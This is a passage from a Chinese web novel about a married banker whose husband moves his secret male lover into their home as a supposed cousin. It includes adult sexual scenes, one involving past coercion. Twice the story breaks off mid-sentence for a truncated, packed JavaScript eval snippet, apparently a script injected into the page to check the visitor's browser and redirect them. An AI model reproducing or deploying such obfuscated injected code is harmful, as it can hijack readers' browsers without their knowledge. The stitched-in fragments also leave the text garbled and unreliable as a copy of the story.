“对对对,你面子最大!那这事就交给你啦,辛苦了!”赵绮兰明显松了口气,声音都变得愉悦了:“小钰你今天休假是吧,上哪玩去了?” “哪也没去,家里来亲戚了,正招待呢。” “噢噢,那你忙吧,不打扰你了!” 挂断电话,廉钰并没有返回客厅,而是犹豫着要不要给父亲打个电话,光凭她自己倒也能联络上人,只不过要多耗费些时力罢了。 “小钰。” 程宴不知道什么时候走了过来,见她沉思,轻声问道:“打扰你了吗?” 廉钰:“没有,怎么了。” 回头一瞧,邱小通正独自坐在沙发上聚精会神地看电视。 “小钰,我想……”程宴神色忽然为难,沉默了几秒,这才缓缓开口:“能不能让小通在家里住几天?他初来乍到,什么都不懂,至少,等他熟悉了澜城再放他自己出去闯荡……” 说完,他忐忑不安地等着廉钰的回应。 然而,廉钰几乎没怎么迟疑,“好。” 程宴眼瞳一颤:“你同意了?” “他是你表弟,也不是外人,为什么不同意?”廉钰又回头看了邱小通一眼,沉思片刻道:“就住西北角那间空着的次卧吧。” 刚买下这个房子时,那个房间就被廉钰父母规划的明明白白,他们知道女儿从来不做家务不下厨,所以一定要请至少一个保姆来照顾二人的饮食起居,那个房间就作为保姆房,等俩人以后有了小孩,请了月嫂,就给月嫂住,等小孩大了再装修成玩具房,然后再装修成书房…… 然而婚后凡事都是程宴亲力亲为,保姆一直没请,那个房间也始终空着,里边有床,有桌子,有衣柜,有空调,根本不需要额外安置什么。 事实上,就算程宴不说,廉钰方才也动过这个念头,邱小通看上去不过十八九岁,他太老实,太乖巧了。 她久经职场的尔虞我诈,很少接触这样少年气的单纯和清澈,加上是晚辈的缘故,很容易就激起了她的保护欲,但碍于他是程宴亲戚的缘故,她也不好主动提起。 程宴十分感动,当即抱住她在她额头亲了一下:“小钰,你真是我的好老婆!” 廉钰也跟着扬起唇角:“我这个嫂子,当的还称职吧。” “当然!” 第三次回头,她恰好对上邱小通投来的视线,他不知道他们在阳台说了什么,神情肉眼可见地紧张不安。 她则报以浅笑,示意他稍安勿躁。 廉钰的目光沉稳,凌厉,眼眸深处暗芒涌现,似乎能穿透一切。 邱小通一怔,不知为何,心跳蓦地变快。 4. 关照 邱小通的到来并没有令廉钰感到不适,反而令她有些感激。 她跟程宴没有小孩,也不爱养宠物,俩人每天早出晚归,生活里只有忙不完的工作,开不完的会,频繁的交际应酬,喝的烂醉如泥被下属搀扶进门是常有的事,尤其廉钰,已经记不清多少次上一秒还在酒局上听领导高谈阔论,下一秒却在自家客厅醒来。 她跟程宴的婚纱照就摆在卧室显眼的地方,就算没有夫妻之实,每天晚上也是睡在同一张床上的。 廉钰认为邱小通的入住在一定程度上缓解了二人之间的尴尬气氛,原本只存在爱情的房子里多了几分亲情,使得表面更加和睦,其乐融融。 邱小通似是完全没想到廉钰会同意他住下,受宠若惊之余被程宴安抚好了情绪,很快投入到新家环境中,并为其拼了命的贡献自己的精力。 无论廉钰多晚下班,推开家门,映入眼帘的都是被打扫的光可鉴人的地板,等待她的都是可口即食的饭菜,阳台上晾的整整齐齐的工装,邱小通听到动静系着围裙从厨房出来,冲廉钰腼腆一笑:“嫂子你回来了,我去把饭热一下,十分钟就好。” 廉钰身上酒气未散,摆摆手道:“我在外边吃过了……忘了提前告诉你,不好意思。” 邱小通这才察觉到廉钰涣散疲惫的神情,试探道:“那……我去给你泡个醒酒茶吧?” 廉钰点了下头,踮脚脱下高跟鞋胡乱甩到了鞋柜旁,光着脚走向卧室。 临进门,她缓缓转身靠在门框上,眯眼打量着邱小通正一只一只拾起她的高跟鞋擦拭,又小心翼翼摆好。 做完这些,邱小通站起来准备去卫生间洗手然后泡茶,迎上廉钰似笑非笑的神情,他打了个冷颤。 “小通,我跟你说过,把这当自己家就好。”廉钰无奈笑道:“你不用这么勤快,我是你嫂子,又不是你雇主。” 邱小通肉眼可见地慌乱,连忙解释道:“没事的嫂子,反正,反正我在家也没事做,哥说了,我可以帮忙打扫下卫生做做饭什么的……”说到一半忽然想到什么,瞥了眼阳台的衣服,恍然大悟,“嫂子对不起……我不该随便动你东西,我只是看那些衣服扔在地上……” “行了。”廉钰冷冷出声,揉了揉发胀的太阳穴,“泡茶去吧。” 这孩子,简直老实的吓人。 再这么下去,不给他发工资都对不起自己的良心。 脱下来的工装混合着金钱和白酒的味道,依旧被她随手扔到了过道上,邱小通也好程宴也好,反正总有人拿去洗就是了。 等她洗完澡回到客厅,茶已经泡好了,电视没开,隐约听到邱小通仍在厨房忙活个不停。 廉钰把电视打开随手调了几个台,邱小通端着个砂锅出来了,见她困惑同她解释:“嫂子,我刚刚给我哥打了个电话,他说他回来吃,已经到小区门口了。” “嗯。”廉钰自顾自喝起了茶。 几分钟后程宴进门,毕竟是表亲,邱小通对他明显松弛许多,先是接过西装外套,又扶着他换拖鞋,程宴眉眼弯起,口中喋喋不休:“小钰,幸亏你今天没开车回来,不知道哪个天杀的把我车位占了,连个挪车电话都不留,我本来想堵他前边的,但想了想又懒得跟他一般见识,就停你车位上了。” 廉钰听得直皱眉,无奈叹道:“再高档的环境,也存在没素质的人。” “是啊,总不能要求人人都跟咱们一样。”程宴深以为然。 廉钰今日行程紧凑工作烧脑,本想着喝两杯茶就去睡觉的,可不远处餐桌传来的阵阵香味却无时无刻不在刺激着她的味蕾。 关掉电视,她也走向餐桌,拉开椅子坐了下来:“这锅里炖的什么,闻着好香。” 邱小通连忙给她也盛了一碗:“是酱香肋排,嫂子,表哥他最喜欢吃这个。” 廉钰的注意力被碗里的排骨吸引,随口一句:“这你都知道。” 无人察觉,餐桌上的二人脸色微变。 “是我爸教我这么做的,我还放了点桂花,所以尝起来有股淡淡的甜味……小时候表哥在我家住过一阵子,天天嚷着要吃这个。”邱小通面带微笑,又给廉钰碗里添了两块精瘦肉。 程宴笑道:“没错,跟小时候一个味道,小通你的厨艺,颇得舅舅真传啊。” 廉钰也跟着夸赞:“味道确实不错。” 邱小通腼腆道:“嫂子你喜欢吃什么就告诉我,我也学学。” 这话不久前程宴也对她说过。 廉钰心头泛起阵阵暖意,调笑道:“干脆你也别去找工作了,我们雇你当厨师。” 邱小通连忙道:“你们肯让我住下,我感激还来不及,做这些都是应该的。” 廉钰将碗里几块肉啃了个干净,意犹未尽地从纸巾盒里抽出两张纸擦了擦嘴,笑道:“那嫂子可不跟你客气了,小通你就放开了锻炼厨艺吧,这样你哥也不用那么辛苦了。” “不辛苦。”程宴笑眯眯道:“现在有了小通,以后我们两个一起给你做饭,怎么样?” 廉钰:“求之不得。” 晚上十一点多,程宴洗完澡,裹着睡袍回到了卧室。 往常这个时间廉钰早就睡了,今天却破例靠在床头玩手机。 程宴掀开被子上床,随口问她:“在忙工作?” “不是。”廉钰专注道:“我在搜澜城本地的舞蹈机构。” “嗯?” 廉钰继续道:“看看能不能给小通找个舞蹈老师的工作,哪怕助教也行啊。” 程宴闻言嗤笑一声:“你这个嫂子,当的还真是称职……就让他在家给咱们打扫卫生做做饭不好吗?” 廉钰放下手机瞧他:“人家过来可不是给咱们当保姆的,你不是说他是来这边找工作的吗?” “他能找到什么好工作。”程宴笑着摇了摇头,“高中没读完就进了社会,初中文凭,工作经验也全是杂活累活,他说他会跳舞也只是说给你听罢了,伪造个一技之长,免得你这个嫂子看不起他。” 廉钰:“那他过来到底是为什么。” 程宴:“想让我给他找工作。” 廉钰:“那你就给他找一个,锦煜那么多闲职,把他安排进去还不是你一句话的事。” “哪有那么简单,那么多双眼睛看着呢。”程宴笑道:“何况我给他找的他又不一定能适应,小通才十九岁,我想着,让他多去体验,多接触新事物,再确定人生方向。工作是一辈子的事,当然要选择自己热爱的了。” 廉钰一番深思,点了点头:“你说得对。” 程宴伸手搂过她的肩膀,柔声道:“如果你不喜欢他住家里,我就让他搬出去。” “那倒没有。”廉钰想了想道:“明天你给小通点钱吧,当做这几天的辛苦费。” “好。” 廉钰本以为邱小通会把程宴给他的报酬存起来,或者像个正常的年轻人一样出去找乐子,然而邱小通大部分时间仍待在家里,偶尔出门也是去小区附近的大型购物超市,不仅自掏腰包把半空的冰箱填满了,还买了一大堆保洁用品,每天热衷于研究菜谱变着花样给俩人做好吃的。 再这样下去,恐怕真成家里的保姆了。 廉钰就此事跟程宴提过,奈何对方似乎毫不在意:“随他便,大不了我给他发工资就是了。” 这样也行,至少她以后能心安理得地享受他的劳动成果了。 澜城临海,是近年新兴起的旅游城市,转眼天气渐热旺季将至,不少本地人都会赶在人潮涌入之前率先出游。 程宴难得跟廉钰同一天休假,于是提议带邱小通在澜城转转,澜城面积不大,分为西区和东区,西区为主城区,现代化的环境建筑跟大城市没什么两样,东区靠海,遍布环境优美的沙滩岛屿和渔村,是旅游区,他们目前住在西区。 邱小通对此番行程安排很是期待,兴奋之情溢于言表,第二天更是起了个大早为三人准备早餐。 饭吃到一半,程宴忽然走到阳台接了个电话,接着眉头紧锁,思考几分钟后回到客厅,一脸歉意道:“我有事必须去一趟公司,今天不能陪你们玩了,抱歉。” 邱小通一怔,连忙道:“没事的哥,那我们就改天再去玩……” “别改天啊。”廉钰喝完最后一口粥,慢条斯理道:“嫂子带你玩。” 邱小通不安地看向程宴。 程宴笑着拍了拍他的肩膀:“对呀,让嫂子带你转转也是一样的,玩的开心点!” 廉钰的座驾是一辆黑色的奔驰轿跑,相较于程宴那辆卡宴低调了许多,她不喜欢张扬惹人注目,故而车内几乎没有任何多余的装饰,只有一些工作文件散落在副驾位置。 她刚把文件收起来,听到后车门咔哒一声被拉开,下一秒,邱小通坐了进去,抬头迎上她似笑非笑的眼神,心里咯噔一下。 “坐前面来。”她轻声道,“我又不是你司机。” 邱小通脸色通红,乖乖听话照做:“对不起嫂子,我不知道……” “没关系。”廉钰面无表情地系好安全带,发动了车。 邱小通的视线始终停留在窗外景色上,偶尔等红灯间隙廉钰侧头打量他,只能看到少年轮廓清致的下颌线。 一开始他的确紧张,但很快被沿途风景吸引放松下来,他们从西区出发,一路上现代化的办公建筑和大型商场令人惊叹,车窗半开着,空气中弥漫着独属于海洋的潮湿和温热,伴随着雨后绿化带的清新气息,持续涌入鼻腔,令人神清气爽。 廉钰先是带他来到了商场。 这是令邱小通没想到的。 他跟随廉钰下了车,试探问道:“嫂子你要买东西?” 廉钰摇摇头:“给你买。” “给我买?”邱小通万分诧异,反应过来后连连摆手:“不用了不用了,我真的什么都不缺。” 廉钰抬手,两根细长的手指夹住他廉价的衬衫打量了几秒,能穿着它来见程宴,这大概就是他最好的衣裳了。 “不听嫂子话,是不是?” 邱小通脸唰一下红了,低头憋了半天才出声:“听。” 品牌区的导购一眼就看出二人并不是情侣或者夫妻关系,因为女方太强势了,她对导购的殷勤追随讲解置若未闻,同时她又眼光极好,总能在一排衣服里准确拿出样式面料上乘的款,然后丢给身后那个唯唯诺诺的小孩,命令他去试。 邱小通本来穿着他那旧衬衫破球鞋,除了个子高了点根本没什么起眼的点,被廉钰豪掷千金捯饬一番后,整个人都焕然一新,即使呆怔在镜子前不知所措,也吸引了周围打量年轻女孩的目光。 “底子不错啊,放大学里至少是个校草。”廉钰淡淡夸奖了句,两指夹着卡片交给导购:“刚刚试的几身都要。” 离开商场,邱小通拎着手里属于他的大包小包,有种不真实感。 “嫂子,谢谢你……” “谢什么,本来我跟程宴商量着给你发工资,结果你还是全花到家里了。”廉钰转着车钥匙心情愉悦,一脚油门前往下一目的地,“既然你不花,那嫂子给你花。” 邱小通哑口无言,眼瞳中廉钰的身影陡然亲切了几分。 行至某个大路口,等红灯间隙廉钰突然问他:“你打游戏吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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邱小通被吓了一跳:“太多了嫂子,用不了这么多!五千,五千就行。” “五千够买什么啊?”廉钰皱了皱眉,“你脚上那双鞋都不止这个数。” 邱小通瞬间觉得双脚似有千斤重,难以动弹一下。 他知道程宴跟廉钰的婚姻属于豪门联姻,强强结合,他们条件优渥,资产丰厚,可如今真正体会到其中属于他的那份好处,还是令他紧张到手心出汗。 “那就这么定了,不够的话就跟我说。”廉钰朝东打死方向,眼前道路逐渐宽阔,“时间还早,我带你去海边转转,那边景色很美。” 进入景区开车不便,要想好好欣赏海滨美景,还得靠步行。 服务区停好车,廉钰凭借一张VIP贵宾卡带着邱小通一路畅通无阻。 天气还未彻底回暖,沙滩上却已经聚集了不少年轻人,阳光,热血,仿佛有着用不完的精力,奔跑,跳跃,朝着海洋大声嘶吼,合影,自拍,发丝飞扬,笑容明媚。 邱小通跟他们差不多年纪,故而他看的有些失神。 “估计是澜城大学的学生。”廉钰随口道。 邱小通回过神嗯了声,低着头沿着海岸线继续走,不一会儿,他的名牌运动鞋已经沾满了砂砾。 他忽地感激廉钰方才为他购置了这身派气的新衣裳,不然哪怕只是远远地看着那群同龄人,他也会自卑,现在他也能假装自己本身就来自上流社会,享受着路人投来的艳羡目光。 廉钰虽说是带着他玩,大多数时候都是他独自散步欣赏景色,少年眼中似乎藏着无尽心事,有时焦躁,有时迷茫。 或许邱小通并不似表面那般单纯。 廉钰忽然好奇,他不可告人的心事,究竟是什么。 “嫂子,这里可真美。”凝视着海上落日的壮观景色,邱小通忍不住感慨。 “是啊,本来无人问津,后来不知道文旅局怎么发力的,慢慢宣传起来了。”廉钰被附近正大呼小叫的年轻人吸引,投去不耐烦的一瞥:“有利有弊吧,游客多了有时候也挺烦的。” 邱小通顿时有些难过,对廉钰而言,他又何尝不是一位远道而来的游客。 “嫂子,时候不早了,咱们回家吧。” 廉钰看了眼手表,道:“还有几个景点没去,那就下次再玩吧。” 返程途中,邱小通忍不住困的打盹,廉钰猜他昨晚没睡好,也没叫醒他。 偏偏他被她的手机铃声吵醒,隐约中听她语气隐忍应了几声,便挂了电话。 廉钰察觉到他醒来,直截了当道:“先不回家了,我单位有点事要过去一趟,你在车上等我几分钟。” “好。” 车依旧直接停在单位门口,邱小通目送廉钰下了车,接着拉开后备厢变戏法似地从里边拿出一件蓝黑色工装外套,边走边利落地穿上,无论动作还是眼神俱是凌厉果断,压迫感十足。 跟方才温柔大方,轻声细语同他聊天的长辈仿佛是两个人。 他的目光始终追随着廉钰,看着她大发雷霆将文件重重拍在桌上,看她训斥着面前几个同样穿着制服的职员,临走时,年仅四十看似位高权重的中年男亲自为她拉开玻璃门,笑呵呵地目送她离开。 廉钰再回到车上神色恢复如常,但紧抿的嘴唇还是暴露了此刻糟糕的心情。 “嫂子你刚刚是不是发火了?”邱小通装着胆子问她:“我刚刚看到你在吵他们。” “是啊,他们犯了错误。”廉钰冷声道。 “那我以后犯错误的话,你也会吵我吗?”邱小通小心翼翼地问。 廉钰先是一怔,随即神情缓和,总算笑了下:“不会,你是家人。” 听到家人这个称呼,邱小通内心似乎被什么狠狠触动了,他移开视线不再看廉钰,低声道:“吵我也没关系,嫂子就算吵我是为我好……” 廉钰心情忽地愉悦,嘴角扯出一抹无奈地笑。 这孩子还挺会pua自己的。 5. 假面 昨天跟着廉钰玩了一天,邱小通属实是走累了,晚上回到家简单吃了几口饭便回到卧室,倒在床上一睡不醒,不仅衣服没换,就连澡也没洗。 第二天早上闹钟响起时,他只觉得浑身疲惫,是一万个不愿起,但一想到今天周一,程宴跟廉钰都要上班,还是揉了揉眼睛,挣扎着起床给他们准备早餐。 等早餐端上桌,俩人也洗漱完毕收拾好了,程宴穿着白衬衫,进食途中时不时看一眼腕表,廉钰妆容精致,刚洗过的头发有些潮湿,散发着一股好闻的香味。 因为这股香味,邱小通不由得多看了嫂子几眼,想到昨天目睹她训人的场景,一股崇拜自内心油然而生。 多少男人梦寐以求的权利,就被她这样漫不经心地掌控。 吃完饭后,廉钰跟程宴一道出门,同样身着黑色工装的二人从背影看上去十分般配,程宴的手有意无意搭在她的腰上,姿势亲密又暧昧。 他们是邻居眼中当之无愧的新婚夫妻,相亲相爱,如胶似漆。 收拾干净餐桌,做完家务已经快十点了,听着滚筒洗衣机传来阵阵声响,邱小通忽然感到一阵困意袭来,眼皮似有千斤重,令他不得不回到房间休息。 趴在床上,迷迷糊糊想到程宴和廉钰此刻正分别在办公室聚精会神地工作,而他却得以在舒适的房间睡回笼觉,邱小通顿时感到一阵愧疚,并在这股愧疚中昏沉睡去。 半睡半醒中,他感到一只大手轻轻覆上他后背,那股温暖又沉重的力道令他熟悉。 指腹沿着他的背脊一道向下,没入深渊,突如其来的刺激令他忍不住闷哼出声。 邱小通猛地坐起,盯着床边人心跳加速,缓了好一阵才小声道:“……你怎么回来了?” “我今天不忙。”程宴伸手碰了碰他的脸颊,笑吟吟道:“而且,我很想你。” 邱小通脸颊蓦地发烫,因为程宴说这话时,已经开始解衬衫的扣子。 等他被压在身下时,这才想起来自己如今置身何处,呼吸骤然急促:“嫂子她……” “放心,她不会回来的。”程宴打断了他的话,调整身位猛地下沉。 即使知道现在家中只有他们两个人,他还是死死咬紧牙关,努力不让自己发出一点声音,他的双手死死攒着床单,使它们的褶皱看上去像初绽的玫瑰。 一场酣畅淋漓的运动后,程宴将近乎奄奄一息的他拥入怀中,调笑道:“不就是换了个环境,至于紧张成这样吗?” “小通,你要学会适应,以后的日子还长呢。” 欢愉已经结束,邱小通的心却依旧跳个不停,沉默良久后才道:“嫂子知道了会怎样?” 程宴丝毫不惧,淡淡道:“为什么要让她知道?” 想到初见时廉钰犀利的眼神,邱小通不安地抿了抿唇:“我害怕。” 程宴将他搂的更紧,顺便在他额头亲了一下,安慰道:“不要害怕,我保证她不会知道的,你看,她对你多好啊。” 廉钰对他确实很好,不同于程宴,她对她的好是不求任何回报,单纯拿他当家人的那种好,这种浓烈的亲情他此生从未体验过。 邱小通眼眶一酸,为了不让程宴察觉出异样,连忙找话题跟他聊天:“嫂子这么好,你为什么不喜欢她?” “谁说我不喜欢她?”程宴诧异地看了他一眼,认真道:“小钰绝对是我这辈子最爱的女人,所以我心甘情愿娶她,并且会跟她相伴到老。” “只是这种喜欢,仅仅出于心理。”程宴声音渐低,眼眸一黯,转身又压到了邱小通身上,“而你,才是能带给我快乐的那个人……” 就这样,邱小通一边忍受着撞击,一边听着程宴喘着粗气在耳畔诉说他有多爱廉钰。 他无法形容自己此刻的感受。 屈辱,崩溃,恐惧,大汗淋漓,呜咽失声,在程宴的最后冲刺中大脑一片空白,再无一丝力气供他挣扎。 冥冥中,他听到程宴站在床边穿衣服,窸窸窣窣的衣物摩擦声,和皮带啪嗒扣上的脆响,做完这些,又盯着他看了很久,似是觉得他已经睡着,便没再打扰,轻笑一声后心满意足地离开。 邱小通蜷缩在床上,背对着卧室门,始终是半睁着眼的。 他跟程宴根本不是什么表亲,他们之间的关系荒唐又秽乱,是不被世俗所接受的。 程宴童年的悲惨经历也与他毫不相干,他们是相识在一家隐蔽又开放的夜店,那时他作为店里的头牌,穿着性感的薄纱衬衣,戴着黑色蕾丝眼罩在台上热舞,台下年轻英俊的总裁目光炽热,隔着沸腾的人海冲他举杯。 在那疯狂迷乱的一晚,他注意到了他无名指上的婚戒,不过他毫不在意,认为二人之间只是萍水相逢,一夜情缘,然而酒醒之后,程宴依然对他纠缠不休。 而邱小通也愿意与他延续这段地下关系,不为别的,就为程宴给了他很多钱。 足够他补贴家里,给母亲治病,供废物弟弟继续上学。 比起每晚在夜店挣辛苦钱,被程宴包养轻松多了,他不允许自己错过这个千载难逢的机会。 他不在乎程宴是否已婚,是否有家庭,他只知道只要自己乖乖匍匐在他身边讨他欢心,就能过上很好的生活。 邱小通一度以为自己是个直男,直到那晚被程宴强行占有,剧烈的疼痛过后,取而代之的无尽欢愉令他打开了新世界大门。 渐渐地,程宴不再满足与他私下相会,他告诉他妻子平时工作很忙,早出晚归,对他的私生活更是毫不关心,这使他产生一个大胆的想法——将他接进家里住。 拙劣的谎言根本不需要更多的细节去修饰,程宴似乎胸有成竹,笃定廉钰不会过问。 邱小通便以表弟的身份提心吊胆地进了门。 回忆完毕,洗衣机的运作声也停了。 邱小通吸了吸鼻子,起身走到浴室洗了个澡,重新拾起家庭新成员的身份,上阳台晾衣服去了。 现在是法治社会,就算廉钰知道了,总不至于杀了他吧。 月初加周一往往是最忙的时候,从晨会到下班,一天的连轴转总算在闸门缓缓降下的时候得以暂停,但这还没完,中午接到赵绮兰电话,晚上要陪她跟朋友吃饭唱歌,并提出要她再带行里一个人过去。 廉钰扫了眼大堂,准确地在一众加班忙碌的同事中捕捉到那个眼神清澈无所事事的人。 “蒋晓露。”她叫了一声。 蒋晓露本来是不好意思第一个走,猝不及防听到廉钰叫她,还以为有事吩咐她做,连忙跑过去:“廉姐。” “晚上行长有个聚会,你跟我们一起去。” 蒋晓露一愣,不可置信道:“我?我吗?是让我去吗?” 廉钰:“嗯,有空吗?” 蒋晓露连忙点头:“有!” 临下班,赵绮兰哼着歌从办公室出来,招呼俩人一道往外走,来到车旁将车钥匙往蒋晓露怀里一扔:“你来开。” 蒋晓露面露难色:“对不起行长,我……我科目二还没过。” “我来开吧。”廉钰自然地接过钥匙,顺手帮赵绮兰拉开了后排车门,将她迎了进去。 赵绮兰今晚心情好,也没在意太多,反而蒋晓露在她身边坐的板直,警惕的像只刚出窝的兔子。 等红灯间隙,廉钰给程宴发去一条消息,表明自己今晚有应酬,晚上不回家吃饭了。 赵绮兰今晚的聚会是姐妹局,对方分别是市局二把手跟办公室主任,各带两个下属跟班,一共九个人,都是女人,包间吃顿饭,浅酌几杯,微醺时刻便开始口无遮拦,先是聊家庭,聊不争气的老公,继而聊到该死的工作和特权,将上级领导挨个骂一遍,最后将话题移到在座的生面孔上,以过来的姿态嘘寒问暖打听个人信息,如果单身,那就红娘血脉觉醒开始介绍对象。 在场三位银行人,六位公务员,只有蒋晓露跟新来的小科员是生面孔,对方戴着个眼镜看上去斯文老实,想来也是第一次参加这种饭局,战战兢兢唯恐说错话。 “晓露……姐跟你说,姐单位新来的那个技术工,真的是一表人才,家庭条件也不错……你有空,一定要见见……你俩一块吃顿饭,接触接触……” “梦琳……我们行的客户经理小吴,跟你一样大,除了个子矮点没别的毛病……有房有车没贷款,父母都是退休高知……也戴眼镜,你俩……特般配!” 两个小姑娘尚未从方才听到的职场机密中回过神来,此刻惊恐地面面相觑,只能含糊不清地应付。 饭局结束,梦琳以家里要求不能太晚回去为由先行离开,九个人变成了八个人,杨副局提议去楼上KTV唱歌,其他人欣然应允同往,蒋晓露纵使心里再没底也只能硬着头皮跟着,作为行里新人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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半夜的风有点凉,廉钰拽了拽领子,冲她一笑:“没事,大家都是这么过来的。” 蒋晓露大胆问道:“你也是这么过来的吗?” 廉钰:“不是。” 第一辆出租车廉钰让给了蒋晓露,自己在路口等了半天拦下路过的第二辆。 等回到单位,意外发现门口站着人,定睛一看,竟是邱小通。 “嫂子。” 廉钰感到惊讶:“小通?你怎么来了?” 邱小通小声道:“哥说你可能喝酒了,开不了车,让我来接你。”说完又补充了句:“哥今晚也有应酬,他也喝酒了,来不来。” 廉钰想到之前发送的那条信息里,她确实忘了告诉程宴自己没喝酒,也没提具体回家的时间。 “行吧,你在这等多久了?” 邱小通:“不到两个小时吧。” “我今晚没喝酒,可以自己开车回去,忘了告诉你们。”走到车门处,廉钰饶有兴趣地看着他道:“不过,你会开车?” 邱小通认真地点点头:“会,在老家没事做,考了驾照的。” 廉钰索性将钥匙递给他:“那你来开。” 邱小通从没开过这么好的车,上路的一瞬间还有点激动,一回头迎上廉钰笑吟吟地眼神,更是心乱如麻。 车上有导航,但邱小通向来记性不错,打车过来时已经把该走的路都记住了,尤其廉钰的单位离家不远,加上现在深更半夜路上几乎没车,这一道顺畅无阻。 廉钰一开始还能跟他聊上两句,打了两个哈欠后声音越来越低,邱小通已经把车开进地下停车场,但他忽然想到自己并不知道自家车位在哪,便一边打方向一边问廉钰:“嫂子,车位在哪啊?” 廉钰没有回答他。 转头一看,发现她不知什么时候已经靠着车窗睡着了。 邱小通猜测刚刚包厢里一定很热,不然她不会烦闷地解开最上边的衬衣扣子,现在歪着头,刚好露出一截白皙修长的天鹅颈,车窗上映着她熟睡的容颜,神情恬淡安然。 他就那样盯着廉钰看了足足一分钟。 她本该获得幸福的。 而他,一只狡黠又见不得光的老鼠,正在不知不觉中偷走她的一切。 嫂子,对不起。 邱小通在心里无声地跟她道歉。 6. 娘家 邱小通会开车这个技能让廉钰蛮惊喜的。 她跟程宴经常应酬,免不了喝酒,邱小通能去接人的话,连代驾都不用叫了。 晚饭时,她曾轻描淡写地提了句要不要给邱小通买辆便宜的代步车,这样以后采购食材生活用品也方便些,程宴没什么意见,邱小通又是紧张地拒绝,神情像极了那晚首次被行长带去应酬的蒋晓露。 廉钰觉得好笑,明明已经住进家里一阵子了,她依旧维持着一个慈祥和善长辈的姿态,从未对他发过火,也从未厉声训斥过他,不知道他到底在怕什么。 “超市离家里不远,走二十分钟就到了……”邱小通收拾着碗筷低声道。 “上次你提着两个大袋子回来,手都勒出血印了。”廉钰抽了张纸巾擦了擦嘴角,漫不经心地看了他一眼,笑道:“那就先买辆电车吧,嫂子出钱。” 邱小通本想拒绝,声音却卡在嗓子里一个字也说不出来,只觉得内心被什么东西轻轻创了一下。 那天他采购回来正好在电梯口碰上廉钰,廉钰笑着问他买了什么,还饶有兴致地翻看了几下。 短短几秒,竟被她捕捉到那样不起眼的细节,邱小通觉得有些不可思议。 程宴笑着接话道:“正好明天我休息,带你去挑一辆。” 廉钰点了点头,随后又想到什么:“天气好的话再带小通去遗珠岛玩一圈吧,上次时间晚了,我们没去。” 程宴应道:“好。” 邱小通认为自己目前除了家务和饮食,在其他方面是没有话语权的,他目前居住的地方是程宴和廉钰的婚房,是属于他们两个人的家。 为此他只能无条件服从二人的一切安排。 隔天他就拥有了一辆崭新的电动车,这样出门就方便多了,偌大的储物筐可以放不少东西,他的手再也不会被购物袋勒出血印了。 傍晚,遗珠岛某间民宿里,邱小通只下身裹着一条浴巾,站在宽敞的海景阳台上远眺。 在来到澜城之前,他从未见过真实的海。 程宴从背后轻轻将他拥住,湿漉漉的头发还残留着高档洗发水的香味。 “在想什么?” “没什么。”邱小通轻轻动了动嘴唇,沉默须臾又道:“我们要一直这样下去吗?” 程宴:“你指什么?” 邱小通:“……我就这样住在你家里。” 程宴揉了揉他的头,语气无所谓道:“这样不是很好吗?” 邱小通喉咙微动:“嫂子发现会怎样?” 程宴稍加思索,道:“首先我会道歉,如果她肯原谅,我会跟你断干净,如果她不肯原谅,我们就离婚,就这样。” 邱小通心中蓦地一痛,表面仍装作不在意:“你不是很喜欢她吗,怎么会舍得离婚?” “离了婚也不影响她是我的女人啊,我告诉过你我爱她。”程宴咬了下他的耳朵,伸手轻轻一扯,浴巾滑落在地。 “跟爱你是一样的,只不过方式不同罢了。” 下午两点,本该是工作时间,廉钰却坐在车里吹着空调刷手机。 屏幕停留在微信界面,在一众工作群和领导客户密密麻麻的私聊里,程宴的消息猝不及防弹到了最上面。 廉钰面无表情地点开,是一张邱小通赤脚在沙滩上散步的背影照。 程宴很听她的话,果然带他去了上次没来得及去的遗珠岛。 代入邱小通,应该是很开心的。 熄掉屏幕,她看了眼银行里排队的客户和忙碌的同事,短暂思忖后发动车子离去。 按说她今天下午该上班,可中午蒋晓露忽然找到她,表示下周末要去参加闺蜜的订婚宴,想跟她换班,廉钰欣然答应。 反正对她来说哪天休息哪天上班都是一样的。 临时多出来的半天假期,她既没有回家休息,也没有去遗珠岛找程宴他们汇合,因为她忽然想到似乎很久没有回家看看了。 这个家指的是娘家,位于澜城最高档的别墅区观澜居,家家户户独门独院,站在三楼阳台远眺视野无阻,甚至可以直接看到遗珠岛游乐区里的游乐设施。 自廉钰懂事起就在那房子里长大,即便现在结了婚,也固执地认为那里才是家,跟程宴的婚房像大学宿舍,主要起到下班歇脚的作用,程宴则是她的好室友,不仅包揽宿舍卫生,偶尔还给她做饭吃。 快三十的人了,一想到即将面对父母,心中还是不免忐忑。 轻轻握住门把手,指纹锁感受到拇指温度,嘀嗒一声打开,里面的笑闹声有一瞬停顿。 首先映入眼帘的是从厨房走出来的周姨,见到是她满眼欣喜,双手赶忙在围裙上抹了两下:“呀,是小钰回来啦!快进来!” “嗯,周姨。”廉钰微笑着进门,看到孟世兰正跟三个同龄朋友在阳台打麻将,旁边小茶几上摆着切好的果盘和茶点,透明玻璃壶里,大朵玫瑰已经泡的褪色,由艳红变为淡淡的粉。 正好一轮打完,孟世兰转头看向廉钰,眼中满是对女儿的宠爱和赞赏。 廉钰从小沐浴在这样的目光中长大,拥有如此出色的母亲,在旁人眼中本该无比幸福。 然而想到其中承受的压力和期望,还是令她不由自主地站直了身子,叫了声妈。 孟世兰应了声,慵懒地起身将碎发拢到而后,起身笑着问她:“怎么还穿着工装?今天是上班,还是不上班?” “临时跟同事换班了。”廉钰解释道。 麻将桌上三缺一自然是没法再继续的,于是其他人也跟着孟世兰陆续起身,廉钰对她们并不陌生,因为她小时候是真被她们抱过,她们是母亲的好朋友,在澜城同样拥有显赫的地位,财富,权利,廉钰深知自己能有今天,跟母亲深不可测的人脉有极大关系。 “结了婚就是不一样啊,看看我们小钰,气色多好!” “看来被程宴照顾的不错,要是瘦了,我可饶不了他!” 众人笑作一团,旗袍上的金丝刺绣在阳光的折射下绚烂夺目,举手投足间,无论是脖子上的珍珠项链还是手腕上的翡翠轮胎,处处彰显着权利和富贵。 好像这四个女人说着笑着,就能控制半个澜城似的。 